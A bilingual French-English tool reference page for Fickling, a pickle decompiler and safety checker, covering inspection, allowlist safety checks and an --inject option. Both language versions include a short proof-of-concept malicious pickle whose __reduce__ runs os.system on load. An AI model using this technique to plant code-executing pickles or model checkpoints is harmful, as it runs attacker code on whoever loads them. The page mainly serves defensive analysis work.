← retour aux outils back to tools

# Fickling

Décompilateur de pickle Python, analyseur statique et réécrivain de bytecode de Trail of Bits, utilisé pour détecter, rétro-ingénierer ou fabriquer des fichiers basés sur pickle malveillants, y compris les checkpoints PyTorch. Trail of Bits' Python pickle decompiler, static analyzer, and bytecode rewriter — used to detect, reverse-engineer, or craft malicious pickle-based files including PyTorch checkpoints.

↗ https://github.com/trailofbits/fickling

## Overview

Python’s `pickle` module executes arbitrary bytecode-like opcodes on load, and PyTorch’s default checkpoint format is pickle underneath — meaning any `.pt`/`.pth` file (or plain `.pkl`) is a potential code-execution payload. Fickling decompiles pickle streams into readable pseudo-Python, lets you statically analyze what a pickle file will actually do before deserializing it, and can rewrite/inject pickle bytecode for PoC purposes. It also ships an allowlist-based safety checker that blocks deserialization unless every referenced import is on a known-safe list, making it usable both offensively (crafting test payloads) and defensively (gating untrusted model loads).

## Installation

    pip install fickling

## Decompiling / Inspecting a Pickle File

Decompile to pseudo-Python for manual review

    fickling <model_checkpoint.pt>

Print the raw pickle opcode stream

    fickling --trace <model_checkpoint.pt>

## Static Safety Check

    import fickling

    # Raises if the pickle references anything outside the safe-import allowlist
    with open("<model_checkpoint.pt>", "rb") as f:
        fickling.check_safety(f)

Same check from the CLI, useful in a pre-load CI gate

    fickling --check-safety <model_checkpoint.pt>

## Crafting a PoC Malicious Pickle

    import pickle, fickling

    class Exploit:
        def __reduce__(self):
            import os
            return (os.system, ("id > /tmp/pwned",))

    # Serialize the payload as a normal-looking pickle
    with open("payload.pkl", "wb") as f:
        pickle.dump(Exploit(), f)

    # Inspect it back with fickling to confirm what it would execute
    fickling payload.pkl

## Tips

- Prefer `fickling.check_safety()` (allowlist-based) over trying to blocklist “bad” opcodes yourself — pickle’s flexibility makes blocklists easy to bypass.
- Fickling can hook `pickle.load`/`torch.load` globally in a process (`fickling.always_check_safety()`) to add a safety net around third-party code you don’t control.
- Use the decompiled pseudo-Python output to write up exactly what a suspicious `.pt` file does for a report — much clearer for a client than raw opcodes.

Help / Man page

    usage: fickling [-h] [--trace] [--check-safety] [--inject CODE]
                     [--output-file FILE] [-v] file

    positional arguments:
      file                    pickle/PyTorch checkpoint file to process

    optional arguments:
      --trace                 print raw opcode-by-opcode trace
      --check-safety          run allowlist-based safety analysis, nonzero
                               exit if unsafe references are found
      --inject CODE           inject a __reduce__-style payload (PoC/testing)
      --output-file FILE      write decompiled/modified output to a file
      -v, --verbose           verbose output
      --version               show version

    python api:
      fickling.check_safety(file_obj)         raises on unsafe pickle
      fickling.always_check_safety()          hooks pickle.load/torch.load
      fickling.fickle.Pickled.load(file_obj)  parse into an inspectable AST

## Vue d’ensemble

Le module `pickle` de Python exécute des opcodes de type bytecode arbitraires au chargement, et le format de checkpoint par défaut de PyTorch repose sur pickle en interne, ce qui signifie que tout fichier `.pt`/`.pth` (ou simple `.pkl`) est un payload d’exécution de code potentiel. Fickling décompile les flux pickle en pseudo-Python lisible, permet d’analyser statiquement ce qu’un fichier pickle va réellement faire avant de le désérialiser, et peut réécrire/injecter du bytecode pickle à des fins de PoC. Il embarque aussi un vérificateur de sécurité basé sur allowlist qui bloque la désérialisation à moins que chaque import référencé soit sur une liste connue comme sûre, le rendant utilisable aussi bien offensivement (fabriquer des payloads de test) que défensivement (filtrer le chargement de modèles non fiables).

## Installation

    pip install fickling

## Décompiler / Inspecter un fichier pickle

    # Décompiler en pseudo-Python pour une revue manuelle
    fickling <model_checkpoint.pt>

    # Afficher le flux brut d'opcodes pickle
    fickling --trace <model_checkpoint.pt>

## Vérification statique de sécurité

    import fickling

    # Lève une exception si le pickle référence quoi que ce soit hors de l'allowlist d'imports sûrs
    with open("<model_checkpoint.pt>", "rb") as f:
        fickling.check_safety(f)

    # Même vérification via la CLI, utile dans une porte CI avant chargement
    fickling --check-safety <model_checkpoint.pt>

## Fabriquer un pickle malveillant PoC

    import pickle, fickling

    class Exploit:
        def __reduce__(self):
            import os
            return (os.system, ("id > /tmp/pwned",))

    # Sérialiser le payload comme un pickle d'apparence normale
    with open("payload.pkl", "wb") as f:
        pickle.dump(Exploit(), f)

    # L'inspecter avec fickling pour confirmer ce qu'il exécuterait
    fickling payload.pkl

## Conseils

- Préférer `fickling.check_safety()` (basé sur allowlist) plutôt que d’essayer de bloquer les “mauvais” opcodes soi-même : la flexibilité de pickle rend les blocklists faciles à contourner.
- Fickling peut hooker `pickle.load`/`torch.load` globalement dans un processus (`fickling.always_check_safety()`) pour ajouter un filet de sécurité autour de code tiers que vous ne contrôlez pas.
- Utiliser la sortie pseudo-Python décompilée pour documenter précisément ce que fait un fichier `.pt` suspect dans un rapport : bien plus clair pour un client que des opcodes bruts.

Aide / Page de manuel

    usage: fickling [-h] [--trace] [--check-safety] [--inject CODE]
                     [--output-file FILE] [-v] file

    positional arguments:
      file                    pickle/PyTorch checkpoint file to process

    optional arguments:
      --trace                 print raw opcode-by-opcode trace
      --check-safety          run allowlist-based safety analysis, nonzero
                               exit if unsafe references are found
      --inject CODE           inject a __reduce__-style payload (PoC/testing)
      --output-file FILE      write decompiled/modified output to a file
      -v, --verbose           verbose output
      --version               show version

    python api:
      fickling.check_safety(file_obj)         raises on unsafe pickle
      fickling.always_check_safety()          hooks pickle.load/torch.load
      fickling.fickle.Pickled.load(file_obj)  parse into an inspectable AST